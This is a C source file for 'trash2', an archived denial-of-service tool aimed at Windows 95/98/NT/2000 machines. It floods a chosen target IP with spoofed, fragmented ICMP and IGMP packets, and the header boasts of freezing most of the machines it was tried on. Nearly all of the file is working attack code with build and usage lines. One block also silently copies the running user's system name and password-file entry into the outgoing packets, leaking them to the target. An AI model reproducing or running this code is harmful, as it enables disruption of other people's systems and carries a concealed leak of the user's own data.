home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / trash2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  370 lines

  1. /* Complex denial of service attack against Windows98/95/2000/NT Machines
  2.    Overview: sends random, spoofed, ICMP/IGMP packets with random spoof source
  3.    Result: Freezes the users machine or a CPU usage will rise to extreme
  4.    lag. tested on:
  5.         2.0.35
  6.         2.2.5-15
  7.         2.2.9
  8.         2.0.36
  9.   From a 56k I killed 2/5 Win/NT Box's, 5/5 Win98, 4/6 Win95.
  10.   And those who didn't die, they where lagged to hell...
  11.   You may freely alter this code, but give credit where credit is due 
  12.     gcc -o trash2 trash2.c will do fine...
  13.     e-mail leet@ibw.com.ni for any questions. 
  14. */
  15. /* greets go out to:
  16.         bombfirst, L^Warrior, codesearc, Asphyx, killtron, ^S|lver, randip(); fucntion stolen from kox.c
  17.         acidspill, glock24, p0larbear, xjust, bxj2k, JUSTaGIRL [you know who you are]
  18.         Drth_Maul,everyone in #bitchx@unet, #outlaw@unet, #slackware@unet, #kernel@unet
  19.                                    [outlaw]
  20.  
  21. */
  22.  
  23. #include <stdio.h>
  24. #include <unistd.h>
  25. #include <stdlib.h>
  26. #include <string.h>
  27. #include <sys/types.h>
  28. #include <sys/time.h>
  29. #include <sys/socket.h>
  30. #include <pwd.h>
  31. #include <time.h>
  32. #include <sys/utsname.h>
  33. #include <netdb.h>
  34. #include <netinet/in.h>
  35. #include <netinet/ip.h>
  36. #include <netinet/ip_icmp.h>
  37. #include <netinet/igmp.h>
  38.  
  39. void banner(void)
  40. {
  41.  
  42.   printf("trash2.c - misteri0@unet [outlaw]\n\n");
  43.   printf("\n\n");
  44. }
  45. void usage(const char *progname)
  46. {
  47.   printf("usage:\n");
  48.   printf("./trash  [dst_ip] [# of packets]\n",progname);
  49.   printf("\t[*] [ip_dst] :  ex: 201.12.3.76\n");
  50.   printf("\t[*] [number]  : 100\n");
  51.   printf("\t-----------------------------------------\n");
  52. }
  53. unsigned int randip()
  54. {
  55.   struct hostent *he;
  56.   struct sockaddr_in sin;
  57.   char *buf = (char *)calloc(1, sizeof(char) * 16);
  58.  
  59.   sprintf(buf, "%d.%d.%d.%d",
  60.           (random()%191)+23,
  61.           (random()%253)+1,
  62.           (random()%253)+1,
  63.           (random()%253)+1);
  64.  
  65.   inet_aton(buf, (struct in_addr *)&sin);
  66.   return sin.sin_addr.s_addr;
  67. }
  68. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr )
  69. {
  70.   struct hostent *host;
  71.   memset(addr,0,sizeof(struct sockaddr_in));
  72.   addr->sin_family = AF_INET;
  73.   addr->sin_addr.s_addr = inet_addr(name);
  74.   if (addr->sin_addr.s_addr == -1)
  75.     {
  76.       if (( host = gethostbyname(name) ) == NULL )
  77.         {
  78.           fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
  79.           return(-1);
  80.         }
  81.       addr->sin_family = host->h_addrtype;
  82.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  83.     }
  84.   addr->sin_port = htons(port);
  85.   return(0);
  86. }
  87. unsigned short in_cksum(addr, len)
  88. u_short *addr;
  89. int len;
  90. {
  91.   register int nleft = len;
  92.   register u_short *w = addr;
  93.   register int sum = 0;
  94.   u_short answer = 0;
  95.  
  96.   while (nleft > 1)
  97.     {
  98.       sum += *w++;
  99.       nleft -= 2;
  100.     }
  101.  
  102.   if (nleft == 1)
  103.     {
  104.       *(u_char *)(&answer) = *(u_char *)w ;
  105.       sum += answer;
  106.     }
  107.  
  108.   sum = (sum >> 16) + (sum & 0xffff);
  109.   sum += (sum >> 16);
  110.   answer = ~sum;
  111.   return(answer);
  112. }
  113. int sendwin98bug(struct sockaddr_in *victim, unsigned long spoof)
  114. {
  115.   int BIGIGMP = 1500;
  116.   unsigned char *pkt;
  117.   struct iphdr *ip;
  118.   struct igmphdr *igmp;
  119.   struct utsname *un;
  120.   struct passwd *p;
  121.  
  122.   int i, s;
  123.   int id = (random() % 40000) + 500;
  124.  
  125.  
  126.   pkt = (unsigned char *)calloc(1, BIGIGMP);
  127.  
  128.   ip = (struct iphdr *)pkt;
  129.   igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));
  130.  
  131.   ip->version = 4;
  132.   ip->ihl = (sizeof *ip) / 4;
  133.   ip->ttl = 255;
  134.   ip->tot_len = htons(BIGIGMP);
  135.   ip->protocol = IPPROTO_IGMP;
  136.   ip->id = htons(id);
  137.   ip->frag_off = htons(IP_MF);
  138.   ip->saddr = spoof;
  139.   ip->daddr = victim->sin_addr.s_addr;
  140.   ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
  141.  
  142.   igmp->type = 0;
  143.   igmp->group = 0;
  144.   igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));
  145.  
  146.   for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;
  147.       i < BIGIGMP; i++)
  148.     pkt[i] = random() % 255;
  149. #ifndef I_GROK
  150.   un = (struct utsname *)(pkt + sizeof(struct iphdr) +
  151.                           sizeof(struct igmphdr) + 40);
  152.   uname(un);
  153.   p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
  154.   memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
  155. #endif
  156.   if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  157.     {
  158.       perror("error: socket()");
  159.       return 1;
  160.     }
  161.  
  162.   if(sendto(s, pkt, BIGIGMP, 0, victim,
  163.             sizeof(struct sockaddr_in)) == -1)
  164.     {
  165.       perror("error: sendto()");
  166.       return 1;
  167.     }
  168.   /* usleep(1000000); */
  169.  
  170.   for(i = 1; i < 5; i++)
  171.     {
  172.       if(i > 3)
  173.         ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
  174.       else
  175.         ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
  176.       sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
  177.       /* usleep(2000000); */
  178.     }
  179.  
  180.   free(pkt);
  181.   close(s);
  182.   return 0;
  183. }
  184.  
  185. int send_winbomb(int socket,
  186.                  unsigned long spoof_addr,
  187.                  struct sockaddr_in *dest_addr)
  188. {
  189.   unsigned char  *packet;
  190.   struct iphdr   *ip;
  191.   struct icmphdr *icmp;
  192.   int rc;
  193.  
  194.   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  195.                                    sizeof(struct icmphdr) + 8);
  196.   ip = (struct iphdr *)packet;
  197.   icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  198.   memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  199.   ip->ihl      = 5;
  200.   ip->version  = 4;
  201.   // ip->tos      = 2;
  202.   ip->id       = htons(1234);
  203.   ip->frag_off |= htons(0x2000);
  204.   // ip->tot_len  = 0;
  205.   ip->ttl      = 30;
  206.   ip->protocol = IPPROTO_ICMP;
  207.   ip->saddr    = spoof_addr;
  208.   ip->daddr    = dest_addr->sin_addr.s_addr;
  209.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  210.  
  211.   icmp->type              = rand() % 15;
  212.   icmp->code              = rand() % 15;
  213.   icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  214.   if (sendto(socket,
  215.              packet,
  216.              sizeof(struct iphdr) +
  217.              sizeof(struct icmphdr) + 1,0,
  218.              (struct sockaddr *)dest_addr,
  219.              sizeof(struct sockaddr)) == -1)
  220.     {
  221.       return(-1);
  222.     }
  223.   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  224.   ip->frag_off = htons(8 >> 3);
  225.   ip->frag_off |= htons(0x2000);
  226.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  227.   icmp->type = rand() % 15;
  228.   icmp->code = rand() % 15;
  229.   icmp->checksum = 0;
  230.   if (sendto(socket,
  231.              packet,
  232.              sizeof(struct iphdr) +
  233.              sizeof(struct icmphdr) + 8,0,
  234.              (struct sockaddr *)dest_addr,
  235.              sizeof(struct sockaddr)) == -1)
  236.     {
  237.       return(-1);
  238.     }
  239.   free(packet);
  240.   return(0);
  241. }
  242. int send_igmp(int socket,
  243.               unsigned long spoof_addr,
  244.               struct sockaddr_in *dest_addr)
  245. {
  246.  
  247.   unsigned char  *packet;
  248.   struct iphdr   *ip;
  249.   struct igmphdr *igmp;
  250.   int rc;
  251.  
  252.  
  253.   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  254.                                    sizeof(struct igmphdr) + 8);
  255.  
  256.   ip = (struct iphdr *)packet;
  257.   igmp = (struct igmphdr *)(packet + sizeof(struct iphdr));
  258.  
  259.   memset(ip,0,sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
  260.  
  261.   ip->ihl      = 5;
  262.   ip->version  = 4;
  263.   ip->id       = htons(34717);
  264.   ip->frag_off = htons(0x2000);
  265.   ip->ttl      = 255;
  266.   ip->protocol = IPPROTO_IGMP;
  267.   ip->saddr    = spoof_addr;
  268.   ip->daddr    = dest_addr->sin_addr.s_addr;
  269.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  270.  
  271.  
  272.   igmp->type              = 8;
  273.   igmp->code              = 0;
  274.  
  275.   if (sendto(socket,
  276.              packet,
  277.              sizeof(struct iphdr) +
  278.              sizeof(struct igmphdr) + 1,0,
  279.              (struct sockaddr *)dest_addr,
  280.              sizeof(struct sockaddr)) == -1)
  281.     {
  282.       return(-1);
  283.     }
  284.  
  285.  
  286.   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
  287.   ip->frag_off = htons(8 >> 3);
  288.   ip->version  = 4;
  289.   ip->id       = htons(34717);
  290.   ip->frag_off |= htons(0x2000);
  291.   ip->ttl      = 255;
  292.   ip->protocol = IPPROTO_IGMP;
  293.   ip->saddr    = spoof_addr;
  294.   ip->daddr    = dest_addr->sin_addr.s_addr;
  295.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  296.  
  297.  
  298.   igmp->type              = 8;
  299.   igmp->code              = 0;
  300.  
  301.   if (sendto(socket,
  302.              packet,
  303.              sizeof(struct iphdr) +
  304.              sizeof(struct igmphdr) + 1,0,
  305.              (struct sockaddr *)dest_addr,
  306.              sizeof(struct sockaddr)) == -1)
  307.     {
  308.       return(-1);
  309.     }
  310.  
  311.  
  312.   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
  313.   ip->frag_off = htons(8 >> 3);
  314.   ip->frag_off |= htons(0x2000);
  315.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  316.  
  317.   igmp->type = 0;
  318.   igmp->code = 0;
  319.  
  320.   if (sendto(socket,
  321.              packet,
  322.              sizeof(struct iphdr) +
  323.              sizeof(struct igmphdr) + 8,0,
  324.              (struct sockaddr *)dest_addr,
  325.              sizeof(struct sockaddr)) == -1)
  326.     {
  327.       return(-1);
  328.     }
  329.  
  330.   free(packet);
  331.   return(0);
  332.  
  333. }
  334.  
  335. int main(int argc, char **argv)
  336. {
  337.   struct sockaddr_in dest_addr;
  338.   unsigned int i,sock;
  339.   unsigned long src_addr;
  340.   banner();
  341.   if ((argc != 3))
  342.     {
  343.       usage(argv[0]);
  344.       return(-1);
  345.     }
  346.  
  347.   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  348.     {
  349.       fprintf(stderr,"ERROR: Opening raw socket.\n");
  350.       return(-1);
  351.     }
  352.  
  353.   /*  if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } */
  354.   src_addr = dest_addr.sin_addr.s_addr;
  355.   if (resolve(argv[1],0,&dest_addr) == -1)
  356.     {
  357.       return(-1);
  358.     }
  359.   printf("Status: Connected....packets sent.\n",argv[0]);
  360.   for (i = 0;i < atoi(argv[2]);i++)
  361.     {
  362.       if (send_winbomb(sock,randip(),&dest_addr) == -1 || send_igmp(sock,randip(),&dest_addr) == -1 || sendwin98bug(&dest_addr, randip()) )
  363.         {
  364.           fprintf(stderr,"ERROR: Unable to Connect To host.\n");
  365.           return(-1);
  366.         }
  367.       usleep(10000);
  368.     }
  369. }
  370. /*                    www.hack.co.za              [2000]*/